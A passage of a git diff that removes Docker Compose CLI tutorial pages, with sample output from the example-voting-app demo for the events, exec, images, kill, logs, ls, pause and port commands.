0.0.0.0:0: listen tcp 0.0.0.0:5000: bind: address already in use -➜ example-voting-app git:(main) - - - -``` - -#### check docker compose events - - -``` -docker compose events -2023-03-04 20:12:13.002384 container exec_create: /bin/sh -c /healthchecks/redis.sh c0d6be412752520417ac2b5800fb4501e9c2553f900e078da9fd2a2fde56d406 (name=example-voting-app-redis-1, desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks, execID=a242ce36c4b7595edfe03a0f3f01d71b201f003ab0e04cf04f26ee17e2d5e668, image=redis:alpine, desktop.docker.io/binds/0/SourceKind=hostFile, desktop.docker.io/binds/0/Target=/healthchecks) - -2023-03-04 20:12:13.003007 container exec_start: /bin/sh -c /healthchecks/redis.sh c0d6be412752520417ac2b5800fb4501e9c2553f900e078da9fd2a2fde56d406 (desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks, desktop.docker.io/binds/0/Target=/healthchecks, desktop.docker.io/binds/0/SourceKind=hostFile, execID=a242ce36c4b7595edfe03a0f3f01d71b201f003ab0e04cf04f26ee17e2d5e668, image=redis:alpine, name=example-voting-app-redis-1) - -2023-03-04 20:12:13.022680 container exec_create: /bin/sh -c /healthchecks/postgres.sh 0ea61e77a190102e4facd7759235fd8c92870b1f594eaaf109a7e55888693dc6 (desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks, desktop.docker.io/binds/0/SourceKind=hostFile, image=postgres:15-alpine, desktop.docker.io/binds/0/Target=/healthchecks, execID=df7c12ef54c8029a23eb9febcb677c8f8c0984cf5c3da7c5634d268b1b3804b3, name=example-voting-app-db-1) - -2023-03-04 20:12:13.023200 container exec_start: /bin/sh -c /healthchecks/postgres.sh 0ea61e77a190102e4facd7759235fd8c92870b1f594eaaf109a7e55888693dc6 (name=example-voting-app-db-1, desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks, execID=df7c12ef54c8029a23eb9febcb677c8f8c0984cf5c3da7c5634d268b1b3804b3, image=postgres:15-alpine, desktop.docker.io/binds/0/Target=/healthchecks, desktop.docker.io/binds/0/SourceKind=hostFile) - -2023-03-04 20:12:13.078489 container exec_die c0d6be412752520417ac2b5800fb4501e9c2553f900e078da9fd2a2fde56d406 (desktop.docker.io/binds/0/Target=/healthchecks, image=redis:alpine, execID=a242ce36c4b7595edfe03a0f3f01d71b201f003ab0e04cf04f26ee17e2d5e668, exitCode=0, desktop.docker.io/binds/0/SourceKind=hostFile, desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks, name=example-voting-app-redis-1) - -2023-03-04 20:12:13.097001 container exec_die 0ea61e77a190102e4facd7759235fd8c92870b1f594eaaf109a7e55888693dc6 (image=postgres:15-alpine, desktop.docker.io/binds/0/SourceKind=hostFile, exitCode=0, name=example-voting-app-db-1, desktop.docker.io/binds/0/Target=/healthchecks, desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks, execID=df7c12ef54c8029a23eb9febcb677c8f8c0984cf5c3da7c5634d268b1b3804b3) - -2023-03-04 20:12:18.082975 container exec_create: /bin/sh -c /healthchecks/redis.sh c0d6be412752520417ac2b5800fb4501e9c2553f900e078da9fd2a2fde56d406 (image=redis:alpine, name=example-voting-app-redis-1, desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks, desktop.docker.io/binds/0/SourceKind=hostFile, desktop.docker.io/binds/0/Target=/healthchecks, execID=4293df2a37da48526e1c21e417c25d34e8947171a66a44bb9741036f09903032) - -2023-03-04 20:12:18.083432 container exec_start: /bin/sh -c /healthchecks/redis.sh c0d6be412752520417ac2b5800fb4501e9c2553f900e078da9fd2a2fde56d406 (desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks, execID=4293df2a37da48526e1c21e417c25d34e8947171a66a44bb9741036f09903032, desktop.docker.io/binds/0/SourceKind=hostFile, desktop.docker.io/binds/0/Target=/healthchecks, image=redis:alpine, name=example-voting-app-redis-1) - -2023-03-04 20:12:18.099740 container exec_create: /bin/sh -c /healthchecks/postgres.sh 0ea61e77a190102e4facd7759235fd8c92870b1f594eaaf109a7e55888693dc6 (name=example-voting-app-db-1, desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks, image=postgres:15-alpine, desktop.docker.io/binds/0/SourceKind=hostFile, desktop.docker.io/binds/0/Target=/healthchecks, execID=725b7d5bf401d7c3944d8432b78835ebd86742b696ce30f6166da8b8d3802f63) - -2023-03-04 20:12:18.100090 container exec_start: /bin/sh -c /healthchecks/postgres.sh 0ea61e77a190102e4facd7759235fd8c92870b1f594eaaf109a7e55888693dc6 (desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks, desktop.docker.io/binds/0/SourceKind=hostFile, desktop.docker.io/binds/0/Target=/healthchecks, execID=725b7d5bf401d7c3944d8432b78835ebd86742b696ce30f6166da8b8d3802f63, image=postgres:15-alpine, name=example-voting-app-db-1) - -2023-03-04 20:12:18.169539 container exec_die c0d6be412752520417ac2b5800fb4501e9c2553f900e078da9fd2a2fde56d406 (desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks, image=redis:alpine, name=example-voting-app-redis-1, desktop.docker.io/binds/0/SourceKind=hostFile, desktop.docker.io/binds/0/Target=/healthchecks, execID=4293df2a37da48526e1c21e417c25d34e8947171a66a44bb9741036f09903032, exitCode=0) - -2023-03-04 20:12:18.185722 container exec_die 0ea61e77a190102e4facd7759235fd8c92870b1f594eaaf109a7e55888693dc6 (desktop.docker.io/binds/0/SourceKind=hostFile, image=postgres:15-alpine, desktop.docker.io/binds/0/Target=/healthchecks, exitCode=0, name=example-voting-app-db-1, execID=725b7d5bf401d7c3944d8432b78835ebd86742b696ce30f6166da8b8d3802f63, desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks) - -2023-03-04 20:12:23.173394 container exec_create: /bin/sh -c /healthchecks/redis.sh c0d6be412752520417ac2b5800fb4501e9c2553f900e078da9fd2a2fde56d406 (desktop.docker.io/binds/0/Target=/healthchecks, image=redis:alpine, desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks, desktop.docker.io/binds/0/SourceKind=hostFile, execID=7225d11881403d700013274bbcd9ab8c0dcf8e1ec55ecf8eefc63af51cb10ebe, name=example-voting-app-redis-1) - -2023-03-04 20:12:23.173847 container exec_start: /bin/sh -c /healthchecks/redis.sh c0d6be412752520417ac2b5800fb4501e9c2553f900e078da9fd2a2fde56d406 (desktop.docker.io/binds/0/SourceKind=hostFile, desktop.docker.io/binds/0/Target=/healthchecks, desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks, execID=7225d11881403d700013274bbcd9ab8c0dcf8e1ec55ecf8eefc63af51cb10ebe, image=redis:alpine, name=example-voting-app-redis-1) - -2023-03-04 20:12:23.188391 container exec_create: /bin/sh -c /healthchecks/postgres.sh 0ea61e77a190102e4facd7759235fd8c92870b1f594eaaf109a7e55888693dc6 (desktop.docker.io/binds/0/Target=/healthchecks, name=example-voting-app-db-1, desktop.docker.io/binds/0/SourceKind=hostFile, desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks, execID=8c18f808739a1a14c190db460030da0bb1b4a68a153f202f55a2c840f96bf630, image=postgres:15-alpine) - -2023-03-04 20:12:23.188516 container exec_start: /bin/sh -c /healthchecks/postgres.sh 0ea61e77a190102e4facd7759235fd8c92870b1f594eaaf109a7e55888693dc6 (desktop.docker.io/binds/0/SourceKind=hostFile, desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks, execID=8c18f808739a1a14c190db460030da0bb1b4a68a153f202f55a2c840f96bf630, image=postgres:15-alpine, name=example-voting-app-db-1, desktop.docker.io/binds/0/Target=/healthchecks) - -2023-03-04 20:12:23.241796 container exec_die c0d6be412752520417ac2b5800fb4501e9c2553f900e078da9fd2a2fde56d406 (desktop.docker.io/binds/0/SourceKind=hostFile, execID=7225d11881403d700013274bbcd9ab8c0dcf8e1ec55ecf8eefc63af51cb10ebe, exitCode=0, name=example-voting-app-redis-1, desktop.docker.io/binds/0/Target=/healthchecks, image=redis:alpine, desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks) - -2023-03-04 20:12:23.263784 container exec_die 0ea61e77a190102e4facd7759235fd8c92870b1f594eaaf109a7e55888693dc6 (desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks, desktop.docker.io/binds/0/SourceKind=hostFile, desktop.docker.io/binds/0/Target=/healthchecks, exitCode=0, name=example-voting-app-db-1, execID=8c18f808739a1a14c190db460030da0bb1b4a68a153f202f55a2c840f96bf630, image=postgres:15-alpine) - -``` - -#### use --json flag - -``` - -docker compose events --json -{"action":"exec_create: /bin/sh -c /healthchecks/redis.sh","attributes":{"desktop.docker.io/binds/0/Source":"/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks","desktop.docker.io/binds/0/SourceKind":"hostFile","desktop.docker.io/binds/0/Target":"/healthchecks","execID":"8f907207527e01ca85a0d73227b35a6da73ed8402de4336e1acb312c46e9473e","image":"redis:alpine","name":"example-voting-app-redis-1"},"id":"c0d6be412752520417ac2b5800fb4501e9c2553f900e078da9fd2a2fde56d406","service":"redis","time":"2023-03-04T20:30:14.926031584+05:30","type":"container"} -{"action":"exec_start: /bin/sh -c /healthchecks/redis.sh","attributes":{"desktop.docker.io/binds/0/Source":"/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks","desktop.docker.io/binds/0/SourceKind":"hostFile","desktop.docker.io/binds/0/Target":"/healthchecks","execID":"8f907207527e01ca85a0d73227b35a6da73ed8402de4336e1acb312c46e9473e","image":"redis:alpine","name":"example-voting-app-redis-1"},"id":"c0d6be412752520417ac2b5800fb4501e9c2553f900e078da9fd2a2fde56d406","service":"redis","time":"2023-03-04T20:30:14.926920001+05:30","type":"container"} -{"action":"exec_create: /bin/sh -c /healthchecks/postgres.sh","attributes":{"desktop.docker.io/binds/0/Source":"/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks","desktop.docker.io/binds/0/SourceKind":"hostFile","desktop.docker.io/binds/0/Target":"/healthchecks","execID":"006d0a097e9819360bf647cc7f2f5c75723588a546b14359267b4b3a0b169310","image":"postgres:15-alpine","name":"example-voting-app-db-1"},"id":"0ea61e77a190102e4facd7759235fd8c92870b1f594eaaf109a7e55888693dc6","service":"db","time":"2023-03-04T20:30:14.940481834+05:30","type":"container"} -{"action":"exec_start: /bin/sh -c /healthchecks/postgres.sh","attributes":{"desktop.docker.io/binds/0/Source":"/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks","desktop.docker.io/binds/0/SourceKind":"hostFile","desktop.docker.io/binds/0/Target":"/healthchecks","execID":"006d0a097e9819360bf647cc7f2f5c75723588a546b14359267b4b3a0b169310","image":"postgres:15-alpine","name":"example-voting-app-db-1"},"id":"0ea61e77a190102e4facd7759235fd8c92870b1f594eaaf109a7e55888693dc6","service":"db","time":"2023-03-04T20:30:14.941143834+05:30","type":"container"} -{"action":"exec_die","attributes":{"desktop.docker.io/binds/0/Source":"/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks","desktop.docker.io/binds/0/SourceKind":"hostFile","desktop.docker.io/binds/0/Target":"/healthchecks","execID":"8f907207527e01ca85a0d73227b35a6da73ed8402de4336e1acb312c46e9473e","exitCode":"0","image":"redis:alpine","name":"example-voting-app-redis-1"},"id":"c0d6be412752520417ac2b5800fb4501e9c2553f900e078da9fd2a2fde56d406","service":"redis","time":"2023-03-04T20:30:15.009103251+05:30","type":"container"} -{"action":"exec_die","attributes":{"desktop.docker.io/binds/0/Source":"/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks","desktop.docker.io/binds/0/SourceKind":"hostFile","desktop.docker.io/binds/0/Target":"/healthchecks","execID":"006d0a097e9819360bf647cc7f2f5c75723588a546b14359267b4b3a0b169310","exitCode":"0","image":"postgres:15-alpine","name":"example-voting-app-db-1"},"id":"0ea61e77a190102e4facd7759235fd8c92870b1f594eaaf109a7e55888693dc6","service":"db","time":"2023-03-04T20:30:15.026884834+05:30","type":"container"} -{"action":"exec_create: /bin/sh -c /healthchecks/redis.sh","attributes":{"desktop.docker.io/binds/0/Source":"/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docke - - -``` \ No newline at end of file diff --git a/content/en/docker/a32.docker-compose-exec.md b/content/en/docker/a32.docker-compose-exec.md deleted file mode 100644 index 74d5fd2..0000000 --- a/content/en/docker/a32.docker-compose-exec.md +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: "Docker Compose CLI - Exec Command " -description: " Execute a command in a running container. " -slug: "Docker-Compose-CLI-Exec-Command" ---- - -### Docker Compose Exec into result service - - -```sh - -docker compose exec result sh -# ls -Dockerfile docker-compose.test.yml package-lock.json package.json server.js tests views -# cat docker-compose.test.yml -version: '2' - -services: - - sut: - build: ./tests/ - depends_on: - - vote - - result - - worker - networks: - - front-tier - - vote: - build: ../vote/ - ports: ["80"] - depends_on: - - redis - - db - networks: - - front-tier - - back-tier - - result: - build: . - ports: ["80"] - depends_on: - - redis - - db - networks: - - front-tier - - back-tier - - worker: - build: ../worker/ - depends_on: - - redis - - db - networks: - - back-tier - - redis: - image: redis:alpine - networks: - - back-tier - - db: - image: postgres:9.4 - environment: - POSTGRES_USER: "postgres" - POSTGRES_PASSWORD: "postgres" - volumes: - - "db-data:/var/lib/postgresql/data" - networks: - - back-tier - -volumes: - db-data: - -networks: - front-tier: - back-tier: -# exit -➜ example-voting-app git:(main) - - -``` - diff --git a/content/en/docker/a33.docker-compose-images.md b/content/en/docker/a33.docker-compose-images.md deleted file mode 100644 index f51ec79..0000000 --- a/content/en/docker/a33.docker-compose-images.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: "Docker Compose CLI - Images Command " -description: " List images used by the created containers " -slug: "Docker-Compose-CLI-Images-Command" ---- - -```sh -example-voting-app git:(main) docker compose images -CONTAINER REPOSITORY TAG IMAGE ID SIZE -example-voting-app-db-1 postgres 15-alpine 68d4a8d9d3d9 241MB -example-voting-app-redis-1 redis alpine 1339d05b97a4 30.4MB -example-voting-app-result-1 example-voting-app-result latest 223b94fc00ae 254MB -example-voting-app-vote-1 example-voting-app-vote latest 5c1cf62b540c 135MB -example-voting-app-worker-1 example-voting-app-worker latest 8f82fda1dae8 195MB - -``` - - diff --git a/content/en/docker/a34.docker-compose-kill.md b/content/en/docker/a34.docker-compose-kill.md deleted file mode 100644 index 443e16f..0000000 --- a/content/en/docker/a34.docker-compose-kill.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: "Docker Compose CLI - Kill Command " -description: " Force stop service containers. " -slug: "Docker-Compose-CLI-Kill-Command" ---- - - - -#### Forces running containers to stop by sending a SIGKILL signal. Optionally the signal can be passed : - -```sh - example-voting-app git:(main) docker-compose kill -s SIGINT -[+] Running 4/0 - ⠿ Container example-voting-app-redis-1 Killed 0.0s - ⠿ Container example-voting-app-worker-1 Killed 0.0s - ⠿ Container example-voting-app-db-1 Killed 0.0s - ⠿ Container example-voting-app-result-1 Killed 0.0s -``` \ No newline at end of file diff --git a/content/en/docker/a35.docker-compose-logs.md b/content/en/docker/a35.docker-compose-logs.md deleted file mode 100644 index c9ebb3e..0000000 --- a/content/en/docker/a35.docker-compose-logs.md +++ /dev/null @@ -1,132 +0,0 @@ ---- -title: "Docker Compose CLI - logs Command " -description: " View output from containers " -slug: "Docker-Compose-CLI-Logs-Command" ---- - - - -#### View output from containers - - -```sh - -➜ example-voting-app git:(main) docker-compose logs -example-voting-app-worker-1 | Connected to db -example-voting-app-result-1 | [nodemon] 2.0.21 -example-voting-app-worker-1 | Found redis at 172.20.0.2 -example-voting-app-worker-1 | Connecting to redis -example-voting-app-result-1 | [nodemon] to restart at any time, enter `rs` -example-voting-app-result-1 | [nodemon] watching path(s): *.* -example-voting-app-result-1 | [nodemon] watching extensions: js,mjs,json -example-voting-app-result-1 | [nodemon] starting `node server.js` -example-voting-app-result-1 | Sat, 04 Mar 2023 18:00:16 GMT body-parser deprecated bodyParser: use individual json/urlencoded middlewares at server.js:73:9 -example-voting-app-result-1 | Sat, 04 Mar 2023 18:00:16 GMT body-parser deprecated undefined extended: provide extended option at ../node_modules/body-parser/index.js:104:29 -example-voting-app-result-1 | App running on port 80 -example-voting-app-result-1 | Connected to db -example-voting-app-redis-1 | 1:C 04 Mar 2023 14:41:27.311 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo -example-voting-app-redis-1 | 1:C 04 Mar 2023 14:41:27.313 # Redis version=7.0.9, bits=64, commit=00000000, modified=0, pid=1, just started -example-voting-app-redis-1 | 1:C 04 Mar 2023 14:41:27.313 # Warning: no config file specified, using the default config. In order to specify a config file use redis-server /path/to/redis.conf -example-voting-app-redis-1 | 1:M 04 Mar 2023 14:41:27.313 * monotonic clock: POSIX clock_gettime -example-voting-app-redis-1 | 1:M 04 Mar 2023 14:41:27.314 * Running mode=standalone, port=6379. -example-voting-app-redis-1 | 1:M 04 Mar 2023 14:41:27.315 # Server initialized -example-voting-app-redis-1 | 1:M 04 Mar 2023 14:41:27.318 * Ready to accept connections -example-voting-app-redis-1 | 1:signal-handler (1677952603) Received SIGINT scheduling shutdown... -example-voting-app-redis-1 | 1:M 04 Mar 2023 17:56:43.159 # User requested shutdown... -example-voting-app-redis-1 | 1:M 04 Mar 2023 17:56:43.159 * Saving the final RDB snapshot before exiting. -example-voting-app-redis-1 | 1:M 04 Mar 2023 17:56:43.161 * DB saved on disk -example-voting-app-redis-1 | 1:M 04 Mar 2023 17:56:43.161 # Redis is now ready to exit, bye bye... -example-voting-app-redis-1 | 1:C 04 Mar 2023 18:00:10.915 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo -example-voting-app-redis-1 | 1:C 04 Mar 2023 18:00:10.915 # Redis version=7.0.9, bits=64, commit=00000000, modified=0, pid=1, just started -example-voting-app-redis-1 | 1:C 04 Mar 2023 18:00:10.915 # Warning: no config file specified, using the default config. In order to specify a config file use redis-server /path/to/redis.conf -example-voting-app-redis-1 | 1:M 04 Mar 2023 18:00:10.915 * monotonic clock: POSIX clock_gettime -example-voting-app-redis-1 | 1:M 04 Mar 2023 18:00:10.916 * Running mode=standalone, port=6379. -example-voting-app-redis-1 | 1:M 04 Mar 2023 18:00:10.916 # Server initialized -example-voting-app-redis-1 | 1:M 04 Mar 2023 18:00:10.918 * Loading RDB produced by version 7.0.9 -example-voting-app-redis-1 | 1:M 04 Mar 2023 18:00:10.918 * RDB age 207 seconds -example-voting-app-redis-1 | 1:M 04 Mar 2023 18:00:10.918 * RDB memory usage when created 1.09 Mb -example-voting-app-redis-1 | 1:M 04 Mar 2023 18:00:10.918 * Done loading RDB, keys loaded: 0, keys expired: 0. -example-voting-app-redis-1 | 1:M 04 Mar 2023 18:00:10.918 * DB loaded from disk: 0.000 seconds -example-voting-app-redis-1 | 1:M 04 Mar 2023 18:00:10.918 * Ready to accept connections -example-voting-app-db-1 | The files belonging to this database system will be owned by user "postgres". -example-voting-app-db-1 | This user must also own the server process. -example-voting-app-db-1 | -example-voting-app-db-1 | The database cluster will be initialized with locale "en_US.utf8". -example-voting-app-db-1 | The default database encoding has accordingly been set to "UTF8". -example-voting-app-db-1 | The default text search configuration will be set to "english". -example-voting-app-db-1 | -example-voting-app-db-1 | Data page checksums are disabled. -example-voting-app-db-1 | -example-voting-app-db-1 | fixing permissions on existing directory /var/lib/postgresql/data ... ok -example-voting-app-db-1 | creating subdirectories ... ok -example-voting-app-db-1 | selecting dynamic shared memory implementation ... posix -example-voting-app-db-1 | selecting default max_connections ... 100 -example-voting-app-db-1 | selecting default shared_buffers ... 128MB -example-voting-app-db-1 | selecting default time zone ... UTC -example-voting-app-db-1 | creating configuration files ... ok -example-voting-app-db-1 | running bootstrap script ... ok -example-voting-app-db-1 | sh: locale: not found -example-voting-app-db-1 | 2023-03-04 14:41:27.703 UTC [30] WARNING: no usable system locales were found -example-voting-app-db-1 | performing post-bootstrap initialization ... ok -example-voting-app-db-1 | syncing data to disk ... ok -example-voting-app-db-1 | -example-voting-app-db-1 | -example-voting-app-db-1 | Success. You can now start the database server using: -example-voting-app-db-1 | -example-voting-app-db-1 | pg_ctl -D /var/lib/postgresql/data -l logfile start -example-voting-app-db-1 | -example-voting-app-db-1 | initdb: warning: enabling "trust" authentication for local connections -example-voting-app-db-1 | initdb: hint: You can change this by editing pg_hba.conf or using the option -A, or --auth-local and --auth-host, the next time you run initdb. -example-voting-app-db-1 | waiting for server to start....2023-03-04 14:41:28.118 UTC [36] LOG: starting PostgreSQL 15.2 on aarch64-unknown-linux-musl, compiled by gcc (Alpine 12.2.1_git20220924-r4) 12.2.1 20220924, 64-bit -example-voting-app-db-1 | 2023-03-04 14:41:28.120 UTC [36] LOG: listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432" -example-voting-app-db-1 | 2023-03-04 14:41:28.124 UTC [39] LOG: database system was shut down at 2023-03-04 14:41:28 UTC -example-voting-app-db-1 | 2023-03-04 14:41:28.127 UTC [36] LOG: database system is ready to accept connections -example-voting-app-db-1 | done -example-voting-app-db-1 | server started -example-voting-app-db-1 | -example-voting-app-db-1 | /usr/local/bin/docker-entrypoint.sh: ignoring /docker-entrypoint-initdb.d/* -example-voting-app-db-1 | -example-voting-app-db-1 | waiting for server to shut down....2023-03-04 14:41:28.218 UTC [36] LOG: received fast shutdown request -example-voting-app-db-1 | 2023-03-04 14:41:28.220 UTC [36] LOG: aborting any active transactions -example-voting-app-db-1 | 2023-03-04 14:41:28.222 UTC [36] LOG: background worker "logical replication launcher" (PID 42) exited with exit code 1 -example-voting-app-db-1 | 2023-03-04 14:41:28.222 UTC [37] LOG: shutting down -example-voting-app-db-1 | 2023-03-04 14:41:28.222 UTC [37] LOG: checkpoint starting: shutdown immediate -example-voting-app-db-1 | 2023-03-04 14:41:28.227 UTC [37] LOG: checkpoint complete: wrote 3 buffers (0.0%); 0 WAL file(s) added, 0 removed, 0 recycled; write=0.002 s, sync=0.001 s, total=0.005 s; sync files=2, longest=0.001 s, average=0.001 s; distance=0 kB, estimate=0 kB -example-voting-app-db-1 | 2023-03-04 14:41:28.233 UTC [36] LOG: database system is shut down -example-voting-app-db-1 | done -example-voting-app-db-1 | server stopped -example-voting-app-db-1 | -example-voting-app-db-1 | PostgreSQL init process complete; ready for start up. -example-voting-app-db-1 | -example-voting-app-db-1 | 2023-03-04 14:41:28.342 UTC [1] LOG: starting PostgreSQL 15.2 on aarch64-unknown-linux-musl, compiled by gcc (Alpine 12.2.1_git20220924-r4) 12.2.1 20220924, 64-bit -example-voting-app-db-1 | 2023-03-04 14:41:28.342 UTC [1] LOG: listening on IPv4 address "0.0.0.0", port 5432 -example-voting-app-db-1 | 2023-03-04 14:41:28.342 UTC [1] LOG: listening on IPv6 address "::", port 5432 -example-voting-app-db-1 | 2023-03-04 14:41:28.344 UTC [1] LOG: listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432" -example-voting-app-db-1 | 2023-03-04 14:41:28.347 UTC [50] LOG: database system was shut down at 2023-03-04 14:41:28 UTC -example-voting-app-db-1 | 2023-03-04 14:41:28.351 UTC [1] LOG: database system is ready to accept connections -example-voting-app-db-1 | 2023-03-04 14:46:28.434 UTC [48] LOG: checkpoint starting: time -example-voting-app-db-1 | 2023-03-04 14:46:36.189 UTC [48] LOG: checkpoint complete: wrote 79 buffers (0.5%); 0 WAL file(s) added, 0 removed, 0 recycled; write=7.707 s, sync=0.027 s, total=7.755 s; sync files=41, longest=0.012 s, average=0.001 s; distance=397 kB, estimate=397 kB -example-voting-app-db-1 | 2023-03-04 17:56:43.105 UTC [1] LOG: received fast shutdown request -example-voting-app-db-1 | 2023-03-04 17:56:43.107 UTC [1] LOG: aborting any active transactions -example-voting-app-db-1 | 2023-03-04 17:56:43.111 UTC [67] FATAL: terminating connection due to administrator command -example-voting-app-db-1 | 2023-03-04 17:56:43.117 UTC [66] FATAL: terminating connection due to administrator command -example-voting-app-db-1 | 2023-03-04 17:56:43.122 UTC [1] LOG: background worker "logical replication launcher" (PID 53) exited with exit code 1 -example-voting-app-db-1 | 2023-03-04 17:56:43.126 UTC [48] LOG: shutting down -example-voting-app-db-1 | 2023-03-04 17:56:43.128 UTC [48] LOG: checkpoint starting: shutdown immediate -example-voting-app-db-1 | 2023-03-04 17:56:43.138 UTC [48] LOG: checkpoint complete: wrote 0 buffers (0.0%); 0 WAL file(s) added, 0 removed, 0 recycled; write=0.003 s, sync=0.001 s, total=0.012 s; sync files=0, longest=0.000 s, average=0.000 s; distance=0 kB, estimate=357 kB -example-voting-app-db-1 | 2023-03-04 17:56:43.185 UTC [1] LOG: database system is shut down -example-voting-app-db-1 | -example-voting-app-db-1 | PostgreSQL Database directory appears to contain a database; Skipping initialization -example-voting-app-db-1 | -example-voting-app-db-1 | 2023-03-04 18:00:10.972 UTC [1] LOG: starting PostgreSQL 15.2 on aarch64-unknown-linux-musl, compiled by gcc (Alpine 12.2.1_git20220924-r4) 12.2.1 20220924, 64-bit -example-voting-app-db-1 | 2023-03-04 18:00:10.972 UTC [1] LOG: listening on IPv4 address "0.0.0.0", port 5432 -example-voting-app-db-1 | 2023-03-04 18:00:10.972 UTC [1] LOG: listening on IPv6 address "::", port 5432 -example-voting-app-db-1 | 2023-03-04 18:00:10.973 UTC [1] LOG: listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432" -example-voting-app-db-1 | 2023-03-04 18:00:10.977 UTC [24] LOG: database system was shut down at 2023-03-04 17:56:43 UTC -example-voting-app-db-1 | 2023-03-04 18:00:10.982 UTC [1] LOG: database system is ready to accept connections -➜ example-voting-app git:(main) - - - - -``` \ No newline at end of file diff --git a/content/en/docker/a36.docker-compose-ls.md b/content/en/docker/a36.docker-compose-ls.md deleted file mode 100644 index c1b9bd8..0000000 --- a/content/en/docker/a36.docker-compose-ls.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: "Docker Compose CLI - ls Command" -description: " List running compose projects " -slug: "Docker-Compose-CLI-ls-Command" ---- - - - -#### List running compose projects - - -```sh -docker-compose ls -NAME STATUS CONFIG FILES -example-voting-app running(4) /Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/docker-compose.yml -➜ example-voting-app git:(main) -``` \ No newline at end of file diff --git a/content/en/docker/a37.docker-compose-pause.md b/content/en/docker/a37.docker-compose-pause.md deleted file mode 100644 index cd2e4e9..0000000 --- a/content/en/docker/a37.docker-compose-pause.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: "Docker Compose CLI - Pause unpause Command " -description: " Pause services " -slug: "Docker-Compose-CLI-Pause-unpause-Command" ---- - -```sh - example-voting-app git:(main) docker compose pause -[+] Running 4/0 - ⠿ Container example-voting-app-db-1 Paused 0.0s - ⠿ Container example-voting-app-redis-1 Paused 0.0s - ⠿ Container example-voting-app-worker-1 Paused 0.0s - ⠿ Container example-voting-app-result-1 Paused 0.0s -➜ example-voting-app git:(main) -``` - - -#### Pauses running containers of a service. They can be unpaused with docker compose unpause. - -```sh -docker compose unpause -[+] Running 4/0 - ⠿ Container example-voting-app-worker-1 Unpaused 0.0s - ⠿ Container example-voting-app-redis-1 Unpaused 0.0s - ⠿ Container example-voting-app-result-1 Unpaused 0.0s - ⠿ Container example-voting-app-db-1 Unpaused 0.0s -➜ example-voting-app git:(main) - -``` - - diff --git a/content/en/docker/a38.docker-compose-port.md b/content/en/docker/a38.docker-compose-port.md deleted file mode 100644 index 5500f73..0000000 --- a/content/en/docker/a38.docker-compose-port.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: "Docker Compose CLI - Port Command " -description: " Print the public port for a port binding." -slug: "Docker-Compose-CLI-Port-Command" ---- - -#### Print the public port for a port binding. - -```sh -docker compose port result 80 -0.0.0.0:5001 -➜ example-voting-app git:(main) - -``` - - diff --git a/content/en/docker/a39.docker-compose-ps.md b/content/en/docker/a39.docker-compose-ps.md deleted file mode 100644 index c3b61dc..0000000 --- 